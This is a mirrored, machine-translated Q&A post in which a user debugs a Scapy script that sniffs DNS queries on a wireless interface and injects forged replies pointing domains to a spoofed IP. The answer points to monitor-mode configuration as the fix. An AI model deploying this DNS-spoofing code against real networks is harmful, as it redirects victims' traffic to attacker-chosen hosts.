簡體   English   中英

使用Scapy嗅探數據包時,FCfield屬性錯誤

[英]FCfield Attribut error while sniffing packets using Scapy

我嘗試使用scapy在mon0接口上嗅探DNS請求數據包。 我想發回一個欺騙性的IP。 但是我得到一個錯誤:

AttributeError:“ Ether”對象沒有屬性“ FCfield”

碼:

def send_response(x):
x.show()
req_domain = x[DNS].qd.qname
logger.info('Found request for ' + req_domain)
# First, we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
response = x.copy()
response.FCfield = '2L'

response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = '1L'
response[DNS].ra = '1L'
response[DNS].ancount = 1


response[DNS].an = DNSRR(
    rrname = req_domain,
    type = 'A',
    rclass = 'IN',
    ttl = 900,
    rdata = spoofed_ip
    )
#inject the response
sendp(response)
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n')

def main():
    logger.info('Starting to intercept [CTRL+C to stop]')
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

您的界面可能未配置為監控模式,這就是為什么獲得以太網( Ether )層而不是WiFi( Dot11 )層的原因。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM